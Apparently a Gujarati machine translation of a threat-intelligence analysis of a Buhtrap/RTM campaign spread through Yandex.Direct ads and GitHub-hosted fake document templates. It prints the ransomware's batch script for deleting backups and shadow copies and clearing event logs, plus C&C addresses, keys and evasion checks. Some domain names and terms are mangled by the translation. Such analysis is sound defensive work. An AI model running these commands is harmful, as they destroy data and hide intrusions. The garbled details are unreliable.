બેકડોર અને બુહટ્રેપ એન્ક્રિપ્ટર Yandex.Direct નો ઉપયોગ કરીને વિતરિત કરવામાં આવ્યા હતા

સાયબર હુમલામાં એકાઉન્ટન્ટ્સને ટાર્ગેટ કરવા માટે, તમે કામના દસ્તાવેજોનો ઉપયોગ કરી શકો છો જે તેઓ ઑનલાઇન શોધે છે. સાયબર જૂથ છેલ્લા કેટલાક મહિનાઓથી જાણીતું પાછલા દરવાજાનું વિતરણ કરીને લગભગ આવું જ કરી રહ્યું છે. બુહટ્રેપ и આરટીએમના આગમન, તેમજ ક્રિપ્ટોકરન્સીની ચોરી કરવા માટે એન્ક્રિપ્ટર્સ અને સોફ્ટવેર. મોટાભાગના લક્ષ્યો રશિયામાં સ્થિત છે. Yandex.Direct પર દૂષિત જાહેરાતો મૂકીને આ હુમલો કરવામાં આવ્યો હતો. સંભવિત પીડિતોને એક વેબસાઇટ પર નિર્દેશિત કરવામાં આવ્યા હતા જ્યાં તેમને દસ્તાવેજ નમૂના તરીકે છૂપાવેલી દૂષિત ફાઇલ ડાઉનલોડ કરવાનું કહેવામાં આવ્યું હતું. યાન્ડેક્સે અમારી ચેતવણી પછી દૂષિત જાહેરાત દૂર કરી.

બુહટ્રેપનો સોર્સ કોડ ભૂતકાળમાં ઓનલાઈન લીક કરવામાં આવ્યો છે જેથી કોઈપણ તેનો ઉપયોગ કરી શકે. અમારી પાસે RTM કોડની ઉપલબ્ધતા સંબંધિત કોઈ માહિતી નથી.

આ પોસ્ટમાં અમે તમને જણાવીશું કે કેવી રીતે હુમલાખોરોએ Yandex.Direct નો ઉપયોગ કરીને માલવેરનું વિતરણ કર્યું અને તેને GitHub પર હોસ્ટ કર્યું. આ પોસ્ટ માલવેરના તકનીકી વિશ્લેષણ સાથે સમાપ્ત થશે.

બુહટ્રેપ અને આરટીએમ ફરીથી વ્યવસાયમાં છે

ફેલાવો અને પીડિતોની પદ્ધતિ

પીડિતોને આપવામાં આવતા વિવિધ પેલોડ્સ એક સામાન્ય પ્રચાર પદ્ધતિ વહેંચે છે. હુમલાખોરો દ્વારા બનાવવામાં આવેલી તમામ દૂષિત ફાઇલો બે અલગ અલગ GitHub રિપોઝીટરીઝમાં મૂકવામાં આવી હતી.

સામાન્ય રીતે, રીપોઝીટરીમાં એક ડાઉનલોડ કરી શકાય તેવી દૂષિત ફાઇલ હોય છે, જે વારંવાર બદલાતી રહે છે. કારણ કે GitHub તમને રીપોઝીટરીમાં ફેરફારોનો ઇતિહાસ જોવાની મંજૂરી આપે છે, અમે જોઈ શકીએ છીએ કે ચોક્કસ સમયગાળા દરમિયાન કયા મૉલવેરનું વિતરણ કરવામાં આવ્યું હતું. પીડિતને દૂષિત ફાઇલ ડાઉનલોડ કરવા માટે સમજાવવા માટે, ઉપરની આકૃતિમાં બતાવેલ વેબસાઇટ blanki-shabloni24[.]ru નો ઉપયોગ કરવામાં આવ્યો હતો.

સાઇટની ડિઝાઇન અને દૂષિત ફાઇલોના તમામ નામો એક જ ખ્યાલને અનુસરે છે - ફોર્મ્સ, ટેમ્પલેટ્સ, કોન્ટ્રાક્ટ્સ, સેમ્પલ, વગેરે. ભૂતકાળમાં એકાઉન્ટન્ટ્સ પરના હુમલામાં બુહટ્રેપ અને આરટીએમ સોફ્ટવેરનો ઉપયોગ કરવામાં આવ્યો છે તે ધ્યાનમાં લેતા, અમે ધારીએ છીએ કે નવા અભિયાનમાં વ્યૂહરચના સમાન છે. એકમાત્ર પ્રશ્ન એ છે કે પીડિતા હુમલાખોરોની વેબસાઇટ પર કેવી રીતે પહોંચી.

ચેપ

ઓછામાં ઓછા કેટલાક સંભવિત પીડિતો કે જેઓ આ સાઇટ પર સમાપ્ત થયા હતા તેઓ દૂષિત જાહેરાતો દ્વારા આકર્ષાયા હતા. નીચે એક ઉદાહરણ URL છે:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

જેમ તમે લિંક પરથી જોઈ શકો છો, બેનર કાયદેસર એકાઉન્ટિંગ ફોરમ bb.f2[.]kz પર પોસ્ટ કરવામાં આવ્યું હતું. એ નોંધવું અગત્યનું છે કે બેનરો જુદી જુદી સાઇટ્સ પર દેખાયા હતા, બધાની ઝુંબેશ આઈડી (blanki_rsya) સમાન હતી અને સૌથી વધુ એકાઉન્ટિંગ અથવા કાનૂની સહાય સેવાઓ સાથે સંબંધિત હતી. URL બતાવે છે કે સંભવિત પીડિતાએ "ઇનવોઇસ ફોર્મ ડાઉનલોડ કરો" વિનંતીનો ઉપયોગ કર્યો હતો, જે લક્ષિત હુમલાઓની અમારી પૂર્વધારણાને સમર્થન આપે છે. નીચે તે સાઇટ્સ છે જ્યાં બેનરો દેખાયા હતા અને અનુરૂપ શોધ ક્વેરીઝ છે.

• ઇનવોઇસ ફોર્મ ડાઉનલોડ કરો - bb.f2[.]kz
• નમૂના કરાર - Ipopen[.]ru
• અરજી ફરિયાદ નમૂના - 77metrov[.]ru
• કરાર ફોર્મ - ખાલી-ડોગોવર-કુપલી-પ્રોડાઝી[.]ru
• સેમ્પલ કોર્ટ પિટિશન - zen.yandex[.]ru
• નમૂના ફરિયાદ - yurday[.]ru
• નમૂના કરાર ફોર્મ્સ - રેગફોરમ[.]ru
• કરાર ફોર્મ - સહાયક[.]ru
• નમૂના એપાર્ટમેન્ટ કરાર – napravah[.]com
• કાનૂની કરારના નમૂનાઓ - avito[.]ru

blanki-shabloni24[.]ru સાઇટને સરળ દ્રશ્ય મૂલ્યાંકન પાસ કરવા માટે ગોઠવવામાં આવી હશે. સામાન્ય રીતે, GitHub ની લિંક સાથે પ્રોફેશનલ દેખાતી સાઇટ તરફ નિર્દેશ કરતી જાહેરાત દેખીતી રીતે ખરાબ જેવી લાગતી નથી. આ ઉપરાંત, હુમલાખોરોએ ઝુંબેશ દરમિયાન સંભવતઃ મર્યાદિત સમયગાળા માટે રીપોઝીટરીમાં દૂષિત ફાઇલો અપલોડ કરી હતી. મોટા ભાગના સમયે, GitHub રીપોઝીટરીમાં ખાલી ઝિપ આર્કાઇવ અથવા ખાલી EXE ફાઇલ હોય છે. આમ, હુમલાખોરો Yandex.Direct દ્વારા એવી સાઇટ્સ પર જાહેરાતો વિતરિત કરી શકે છે કે જે ચોક્કસ શોધ પ્રશ્નોના જવાબમાં આવેલા એકાઉન્ટન્ટ્સ દ્વારા મોટાભાગે મુલાકાત લીધી હતી.

આગળ, ચાલો આ રીતે વિતરિત વિવિધ પેલોડ્સ જોઈએ.

પેલોડ વિશ્લેષણ

વિતરણની ઘટનાક્રમ

દૂષિત ઝુંબેશ ઓક્ટોબર 2018 ના અંતમાં શરૂ થઈ હતી અને લેખન સમયે સક્રિય છે. સમગ્ર રીપોઝીટરી GitHub પર સાર્વજનિક રૂપે ઉપલબ્ધ હોવાથી, અમે છ અલગ અલગ માલવેર પરિવારોના વિતરણની ચોક્કસ સમયરેખા સંકલિત કરી છે (નીચેની આકૃતિ જુઓ). અમે ગિટ ઇતિહાસ સાથે સરખામણી કરવા માટે, ESET ટેલિમેટ્રી દ્વારા માપ્યા મુજબ, બેનર લિંક ક્યારે શોધાઈ તે દર્શાવતી એક લાઇન ઉમેરી છે. જેમ તમે જોઈ શકો છો, આ GitHub પર પેલોડની ઉપલબ્ધતા સાથે સારી રીતે સંબંધિત છે. ફેબ્રુઆરીના અંતમાં વિસંગતતા એ હકીકત દ્વારા સમજાવી શકાય છે કે અમારી પાસે ફેરફાર ઇતિહાસનો ભાગ નથી કારણ કે અમે તેને સંપૂર્ણ રીતે મેળવી શકીએ તે પહેલાં જ રીપોઝીટરીને GitHubમાંથી દૂર કરવામાં આવી હતી.

આકૃતિ 1. માલવેર વિતરણની ઘટનાક્રમ.

કોડ સહી પ્રમાણપત્રો

ઝુંબેશમાં બહુવિધ પ્રમાણપત્રોનો ઉપયોગ કરવામાં આવ્યો હતો. કેટલાક પર એક કરતાં વધુ માલવેર પરિવાર દ્વારા હસ્તાક્ષર કરવામાં આવ્યા હતા, જે આગળ દર્શાવે છે કે વિવિધ નમૂનાઓ એક જ ઝુંબેશના છે. ખાનગી કીની ઉપલબ્ધતા હોવા છતાં, ઓપરેટરોએ વ્યવસ્થિત રીતે દ્વિસંગીઓ પર સહી કરી ન હતી અને તમામ નમૂનાઓ માટે કીનો ઉપયોગ કર્યો ન હતો. ફેબ્રુઆરી 2019 ના અંતમાં, હુમલાખોરોએ Google-માલિકીના પ્રમાણપત્રનો ઉપયોગ કરીને અમાન્ય હસ્તાક્ષરો બનાવવાનું શરૂ કર્યું જેના માટે તેમની પાસે ખાનગી કી ન હતી.

ઝુંબેશમાં સામેલ તમામ પ્રમાણપત્રો અને તેઓ જે માલવેર પરિવારો પર સહી કરે છે તે નીચેના કોષ્ટકમાં સૂચિબદ્ધ છે.

અમે અન્ય માલવેર પરિવારો સાથે લિંક્સ સ્થાપિત કરવા માટે આ કોડ સાઇનિંગ પ્રમાણપત્રોનો પણ ઉપયોગ કર્યો છે. મોટાભાગના પ્રમાણપત્રો માટે, અમને એવા નમૂના મળ્યા નથી કે જે GitHub રિપોઝીટરી દ્વારા વિતરિત કરવામાં આવ્યા ન હોય. જો કે, TOV “MARIYA” પ્રમાણપત્રનો ઉપયોગ બોટનેટ સાથે જોડાયેલા માલવેર પર હસ્તાક્ષર કરવા માટે કરવામાં આવ્યો હતો વોચોસ, એડવેર અને માઇનર્સ. તે અસંભવિત છે કે આ માલવેર આ અભિયાન સાથે સંબંધિત છે. મોટે ભાગે, પ્રમાણપત્ર ડાર્કનેટ પર ખરીદવામાં આવ્યું હતું.

Win32/Filecoder.Buhtrap

પ્રથમ ઘટક જેણે અમારું ધ્યાન ખેંચ્યું તે હતું નવી શોધાયેલ Win32/Filecoder.Buhtrap. આ એક ડેલ્ફી બાઈનરી ફાઈલ છે જે ક્યારેક પેક કરવામાં આવે છે. તે મુખ્યત્વે ફેબ્રુઆરી-માર્ચ 2019 માં વિતરિત કરવામાં આવ્યું હતું. તે રેન્સમવેર પ્રોગ્રામને અનુરૂપ વર્તે છે - તે સ્થાનિક ડ્રાઇવ્સ અને નેટવર્ક ફોલ્ડર્સને શોધે છે અને તેને મળેલી ફાઇલોને એન્ક્રિપ્ટ કરે છે. તેને ચેડા કરવા માટે ઇન્ટરનેટ કનેક્શનની જરૂર નથી કારણ કે તે એન્ક્રિપ્શન કી મોકલવા માટે સર્વરનો સંપર્ક કરતું નથી. તેના બદલે, તે ખંડણી સંદેશના અંતમાં "ટોકન" ઉમેરે છે, અને ઓપરેટરોનો સંપર્ક કરવા માટે ઇમેઇલ અથવા બિટમેસેજનો ઉપયોગ કરવાનું સૂચન કરે છે.

શક્ય તેટલા સંવેદનશીલ સંસાધનોને એન્ક્રિપ્ટ કરવા માટે, Filecoder.Buhtrap કી સોફ્ટવેરને બંધ કરવા માટે રચાયેલ થ્રેડ ચલાવે છે જેમાં મૂલ્યવાન માહિતી ધરાવતા ઓપન ફાઇલ હેન્ડલર્સ હોઈ શકે છે જે એન્ક્રિપ્શનમાં દખલ કરી શકે છે. લક્ષ્ય પ્રક્રિયાઓ મુખ્યત્વે ડેટાબેઝ મેનેજમેન્ટ સિસ્ટમ્સ (DBMS) છે. વધુમાં, Filecoder.Buhtrap ડેટા પુનઃપ્રાપ્તિને મુશ્કેલ બનાવવા માટે લોગ ફાઇલો અને બેકઅપ કાઢી નાખે છે. આ કરવા માટે, નીચેની બેચ સ્ક્રિપ્ટ ચલાવો.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap વેબસાઈટ મુલાકાતીઓ વિશે માહિતી એકત્રિત કરવા માટે રચાયેલ કાયદેસરની ઓનલાઈન આઈપી લોગર સેવાનો ઉપયોગ કરે છે. આનો હેતુ રેન્સમવેરના ભોગ બનેલાઓને ટ્રેક કરવાનો છે, જે કમાન્ડ લાઇનની જવાબદારી છે:

mshta.exe "javascript:document.write('');"

એન્ક્રિપ્શન માટેની ફાઇલો પસંદ કરવામાં આવે છે જો તે ત્રણ બાકાત સૂચિ સાથે મેળ ખાતી નથી. સૌપ્રથમ, નીચેના એક્સટેન્શનવાળી ફાઇલો એન્ક્રિપ્ટેડ નથી: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys અને .બેટ બીજું, બધી ફાઈલો કે જેના માટે સંપૂર્ણ પાથ નીચેની સૂચિમાંથી ડિરેક્ટરી સ્ટ્રિંગ્સ ધરાવે છે તે બાકાત રાખવામાં આવી છે.

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

ત્રીજું, અમુક ફાઇલના નામોને પણ એન્ક્રિપ્શનમાંથી બાકાત રાખવામાં આવ્યા છે, તેમાંથી ખંડણી સંદેશનું ફાઇલ નામ છે. યાદી નીચે પ્રસ્તુત છે. દેખીતી રીતે, આ તમામ અપવાદોનો હેતુ મશીનને ચાલુ રાખવાનો છે, પરંતુ ન્યૂનતમ માર્ગયોગ્યતા સાથે.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

ફાઇલ એન્ક્રિપ્શન સ્કીમ

એકવાર એક્ઝિક્યુટ થઈ ગયા પછી, માલવેર 512-બીટ RSA કી જોડી જનરેટ કરે છે. ખાનગી ઘાતાંક (d) અને મોડ્યુલસ (n) ને પછી હાર્ડ-કોડેડ 2048-બીટ પબ્લિક કી (જાહેર ઘાતાંક અને મોડ્યુલસ), zlib-પેક્ડ અને base64 એન્કોડેડ સાથે એન્ક્રિપ્ટ કરવામાં આવે છે. આ માટે જવાબદાર કોડ આકૃતિ 2 માં દર્શાવેલ છે.

આકૃતિ 2. 512-બીટ RSA કી જોડી જનરેશન પ્રક્રિયાના હેક્સ-રેના વિઘટનનું પરિણામ.

નીચે જનરેટ કરેલ ખાનગી કી સાથે સાદા ટેક્સ્ટનું ઉદાહરણ છે, જે ખંડણી સંદેશ સાથે જોડાયેલ ટોકન છે.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

હુમલાખોરોની જાહેર કી નીચે આપેલ છે.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

ફાઇલોને 128-બીટ કી સાથે AES-256-CBC નો ઉપયોગ કરીને એન્ક્રિપ્ટ કરવામાં આવે છે. દરેક એનક્રિપ્ટેડ ફાઈલ માટે, નવી કી અને નવી શરૂઆત વેક્ટર જનરેટ થાય છે. મુખ્ય માહિતી એનક્રિપ્ટેડ ફાઇલના અંતમાં ઉમેરવામાં આવે છે. ચાલો એન્ક્રિપ્ટેડ ફાઇલના ફોર્મેટને ધ્યાનમાં લઈએ.
એન્ક્રિપ્ટેડ ફાઇલોમાં નીચેના હેડર છે:

VEGA મેજિક મૂલ્યના ઉમેરા સાથેનો સ્રોત ફાઇલ ડેટા પ્રથમ 0x5000 બાઇટ્સ પર એન્ક્રિપ્ટ થયેલ છે. તમામ ડિક્રિપ્શન માહિતી નીચેની રચના સાથે ફાઇલ સાથે જોડાયેલ છે:

- ફાઇલ સાઇઝ માર્કરમાં એક ચિહ્ન છે જે દર્શાવે છે કે ફાઇલ 0x5000 બાઇટ્સથી મોટી છે કે કેમ
— AES કી બ્લોબ = ZlibCompress(RSAEncrypt(AES કી + IV, જનરેટ કરેલ RSA કી જોડીની સાર્વજનિક કી))
- RSA કી બ્લોબ = ZlibCompress(RSAEncrypt(જનરેટ કરેલ RSA ખાનગી કી, હાર્ડ-કોડેડ RSA જાહેર કી))

Win32/ClipBanker

Win32/ClipBanker એ એક ઘટક છે જે ઑક્ટોબરના અંતથી ડિસેમ્બર 2018ની શરૂઆતમાં વચ્ચે-વચ્ચે વિતરિત કરવામાં આવ્યું હતું. તેની ભૂમિકા ક્લિપબોર્ડની સામગ્રીને મોનિટર કરવાની છે, તે ક્રિપ્ટોકરન્સી વૉલેટના સરનામાંઓ શોધે છે. લક્ષ્ય વોલેટ સરનામું નક્કી કર્યા પછી, ક્લિપબેંકર તેને ઓપરેટર્સનું હોવાનું માનવામાં આવતા સરનામા સાથે બદલી નાખે છે. અમે તપાસેલા નમૂનાઓ ન તો બોક્સવાળા હતા કે ન તો અસ્પષ્ટ હતા. વર્તણૂકને ઢાંકવા માટે વપરાતી એકમાત્ર પદ્ધતિ સ્ટ્રિંગ એન્ક્રિપ્શન છે. ઓપરેટર વૉલેટ સરનામાં RC4 નો ઉપયોગ કરીને એન્ક્રિપ્ટેડ છે. લક્ષ્યાંક ક્રિપ્ટોકરન્સી બીટકોઈન, બિટકોઈન કેશ, ડોજકોઈન, ઈથેરિયમ અને રીપલ છે.

હુમલાખોરોના બિટકોઈન વોલેટ્સમાં માલવેર ફેલાઈ રહ્યો હતો તે સમયગાળા દરમિયાન, VTSને થોડી રકમ મોકલવામાં આવી હતી, જે અભિયાનની સફળતા પર શંકા કરે છે. વધુમાં, એવા કોઈ પુરાવા નથી કે આ વ્યવહારો ClipBanker સાથે જ સંબંધિત હતા.

Win32/RTM

Win32/RTM ઘટક માર્ચ 2019ની શરૂઆતમાં ઘણા દિવસો સુધી વિતરિત કરવામાં આવ્યું હતું. RTM એ ડેલ્ફીમાં લખાયેલ ટ્રોજન બેંકર છે, જેનો હેતુ રિમોટ બેંકિંગ સિસ્ટમ છે. 2017 માં, ESET સંશોધકોએ પ્રકાશિત કર્યું વિગતવાર વિશ્લેષણ આ પ્રોગ્રામનું, વર્ણન હજુ પણ સુસંગત છે. જાન્યુઆરી 2019માં, પાલો અલ્ટો નેટવર્ક્સે પણ રિલીઝ કર્યું RTM વિશે બ્લોગ પોસ્ટ.

બુહટ્રેપ લોડર

કેટલાક સમય માટે, GitHub પર ડાઉનલોડર ઉપલબ્ધ હતું જે અગાઉના બુહટ્રેપ ટૂલ્સ જેવું ન હતું. તે તરફ વળે છે https://94.100.18[.]67/RSS.php?<some_id> આગળનું સ્ટેજ મેળવવા અને તેને સીધું મેમરીમાં લોડ કરવા માટે. અમે બીજા તબક્કાના કોડના બે વર્તનને અલગ પાડી શકીએ છીએ. પ્રથમ URL માં, RSS.php એ બુહટ્રેપ બેકડોર સીધું જ પસાર કર્યું હતું - આ બેકડોર સોર્સ કોડ લીક થયા પછી ઉપલબ્ધ એક જેવું જ છે.

રસપ્રદ વાત એ છે કે, અમે બુહટ્રેપ બેકડોર સાથેની ઘણી ઝુંબેશ જોઈએ છીએ, અને તે કથિત રીતે વિવિધ ઓપરેટરો દ્વારા ચલાવવામાં આવે છે. આ કિસ્સામાં, મુખ્ય તફાવત એ છે કે બેકડોર સીધું મેમરીમાં લોડ થાય છે અને DLL ડિપ્લોયમેન્ટ પ્રક્રિયા સાથે સામાન્ય યોજનાનો ઉપયોગ કરતું નથી જેના વિશે અમે વાત કરી હતી. અગાઉ. વધુમાં, ઓપરેટરોએ નેટવર્ક ટ્રાફિકને C&C સર્વર પર એન્ક્રિપ્ટ કરવા માટે ઉપયોગમાં લેવાતી RC4 કી બદલી. અમે જોયેલી મોટાભાગની ઝુંબેશમાં, ઓપરેટરોએ આ કી બદલવાની તસ્દી લીધી ન હતી.

બીજું, વધુ જટિલ વર્તન એ હતું કે RSS.php URL બીજા લોડરને પસાર કરવામાં આવ્યું હતું. તેણે ગતિશીલ આયાત કોષ્ટકને પુનઃબીલ્ડ કરવા જેવી કેટલીક અસ્પષ્ટતા લાગુ કરી. બુટલોડરનો હેતુ C&C સર્વરનો સંપર્ક કરવાનો છે msiofficeupd[.]com/api/F27F84EDA4D13B15/2, લોગ મોકલો અને પ્રતિસાદની રાહ જુઓ. તે પ્રતિભાવને બ્લોબ તરીકે પ્રક્રિયા કરે છે, તેને મેમરીમાં લોડ કરે છે અને તેને એક્ઝિક્યુટ કરે છે. આ લોડરને એક્ઝિક્યુટ કરતી વખતે અમે જે પેલોડ જોયું તે જ બુહટ્રેપ બેકડોર હતું, પરંતુ અન્ય ઘટકો હોઈ શકે છે.

Android/Spy.Banker

રસપ્રદ વાત એ છે કે, એન્ડ્રોઇડ માટેનું એક ઘટક પણ GitHub રિપોઝીટરીમાં જોવા મળ્યું હતું. તે મુખ્ય શાખામાં માત્ર એક જ દિવસ માટે હતો - નવેમ્બર 1, 2018. GitHub પર પોસ્ટ કર્યા સિવાય, ESET ટેલિમેટ્રીને આ માલવેર વિતરિત થયાના કોઈ પુરાવા મળ્યા નથી.

ઘટકને એન્ડ્રોઇડ એપ્લિકેશન પેકેજ (APK) તરીકે હોસ્ટ કરવામાં આવ્યું હતું. તે ભારે અસ્પષ્ટ છે. દુર્ભાવનાપૂર્ણ વર્તન એપીકેમાં સ્થિત એન્ક્રિપ્ટેડ JARમાં છુપાયેલું છે. તે આ કીનો ઉપયોગ કરીને RC4 સાથે એનક્રિપ્ટ થયેલ છે:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

સમાન કી અને અલ્ગોરિધમનો ઉપયોગ શબ્દમાળાઓને એન્ક્રિપ્ટ કરવા માટે થાય છે. JAR માં સ્થિત થયેલ છે APK_ROOT + image/files. ફાઇલના પ્રથમ 4 બાઇટ્સ એન્ક્રિપ્ટેડ JAR ની લંબાઈ ધરાવે છે, જે લંબાઈ ફીલ્ડ પછી તરત જ શરૂ થાય છે.

ફાઇલને ડિક્રિપ્ટ કર્યા પછી, અમે શોધ્યું કે તે એનુબિસ હતી - અગાઉ દસ્તાવેજીકૃત Android માટે બેંકર. માલવેરમાં નીચેના લક્ષણો છે:

• માઇક્રોફોન રેકોર્ડિંગ
• સ્ક્રીનશોટ લઈ રહ્યા છીએ
• GPS કોઓર્ડિનેટ્સ મેળવી રહ્યા છીએ
• કીલોગર
• ઉપકરણ ડેટા એન્ક્રિપ્શન અને ખંડણી માંગ
• સ્પામ મોકલી રહ્યું છે

રસપ્રદ વાત એ છે કે, બેંકરે અન્ય C&C સર્વર મેળવવા માટે બેકઅપ કમ્યુનિકેશન ચેનલ તરીકે ટ્વિટરનો ઉપયોગ કર્યો હતો. અમે જે નમૂનાનું વિશ્લેષણ કર્યું છે તે @JonesTrader એકાઉન્ટનો ઉપયોગ કરે છે, પરંતુ વિશ્લેષણ સમયે તે પહેલેથી જ અવરોધિત હતું.

બેંકર Android ઉપકરણ પર લક્ષ્ય એપ્લિકેશન્સની સૂચિ ધરાવે છે. તે સોફોસ અભ્યાસમાં મેળવેલ યાદી કરતાં લાંબું છે. આ યાદીમાં ઘણી બેંકિંગ એપ્લિકેશન્સ, Amazon અને eBay જેવા ઓનલાઈન શોપિંગ પ્રોગ્રામ્સ અને ક્રિપ્ટોકરન્સી સેવાઓનો સમાવેશ થાય છે.

MSIL/ClipBanker.IH

આ ઝુંબેશના ભાગ રૂપે વિતરિત કરવામાં આવેલ છેલ્લું ઘટક .NET Windows એક્ઝિક્યુટેબલ હતું, જે માર્ચ 2019 માં દેખાયું હતું. અભ્યાસ કરેલ મોટા ભાગની આવૃત્તિઓ ConfuserEx v1.0.0 સાથે પેક કરવામાં આવી હતી. ક્લિપબેંકરની જેમ, આ ઘટક ક્લિપબોર્ડનો ઉપયોગ કરે છે. તેમનો ધ્યેય ક્રિપ્ટોકરન્સીની વિશાળ શ્રેણી તેમજ સ્ટીમ પરની ઓફર છે. વધુમાં, તે બિટકોઈન પ્રાઈવેટ WIF કી ચોરવા માટે આઈપી લોગર સેવાનો ઉપયોગ કરે છે.

પ્રોટેક્શન મિકેનિઝમ્સ
કન્ફ્યુઝરએક્સ ડિબગિંગ, ડમ્પિંગ અને ચેડાં અટકાવવા માટે પ્રદાન કરે છે તે લાભો ઉપરાંત, ઘટકમાં એન્ટિવાયરસ ઉત્પાદનો અને વર્ચ્યુઅલ મશીનોને શોધવાની ક્ષમતાનો સમાવેશ થાય છે.

તે વર્ચ્યુઅલ મશીનમાં ચાલે છે તે ચકાસવા માટે, માલવેર BIOS માહિતીની વિનંતી કરવા માટે બિલ્ટ-ઇન Windows WMI કમાન્ડ લાઇન (WMIC) નો ઉપયોગ કરે છે, એટલે કે:

wmic bios

પછી પ્રોગ્રામ કમાન્ડ આઉટપુટને પાર્સ કરે છે અને કીવર્ડ્સ માટે જુએ છે: VBOX, VirtualBox, XEN, qemu, bochs, VM.

એન્ટિવાયરસ ઉત્પાદનોને શોધવા માટે, માલવેર વિન્ડોઝ મેનેજમેન્ટ ઇન્સ્ટ્રુમેન્ટેશન (WMI) નો ઉપયોગ કરીને વિન્ડોઝ સુરક્ષા કેન્દ્રને વિનંતી મોકલે છે ManagementObjectSearcher નીચે બતાવ્યા પ્રમાણે API. બેઝ 64 થી ડીકોડ કર્યા પછી કૉલ આના જેવો દેખાય છે:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

આકૃતિ 3. એન્ટિવાયરસ ઉત્પાદનોને ઓળખવા માટેની પ્રક્રિયા.

વધુમાં, માલવેર તપાસ કરે છે કે શું CryptoClipWatcher, ક્લિપબોર્ડ હુમલાઓ સામે રક્ષણ આપવાનું સાધન અને, જો ચાલી રહ્યું હોય, તો તે પ્રક્રિયામાંના તમામ થ્રેડોને સ્થગિત કરે છે, જેનાથી રક્ષણને અક્ષમ કરે છે.

દ્રઢતા

અમે અભ્યાસ કરેલ મૉલવેરની આવૃત્તિ તેની નકલ કરે છે %APPDATA%googleupdater.exe અને google ડિરેક્ટરી માટે "છુપાયેલ" લક્ષણ સેટ કરે છે. પછી તેણી મૂલ્યમાં ફેરફાર કરે છે SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell વિન્ડોઝ રજિસ્ટ્રીમાં અને પાથ ઉમેરે છે updater.exe. આ રીતે, જ્યારે પણ વપરાશકર્તા લોગ ઇન કરશે ત્યારે માલવેરને એક્ઝિક્યુટ કરવામાં આવશે.

દૂષિત વર્તન

ClipBankerની જેમ, માલવેર ક્લિપબોર્ડની સામગ્રીઓનું નિરીક્ષણ કરે છે અને ક્રિપ્ટોકરન્સી વૉલેટ સરનામાંઓ શોધે છે, અને જ્યારે મળે છે, ત્યારે તેને ઑપરેટરના સરનામાંઓમાંથી એક સાથે બદલી નાખે છે. કોડમાં જે જોવા મળે છે તેના આધારે નીચે લક્ષ્ય સરનામાંઓની સૂચિ છે.

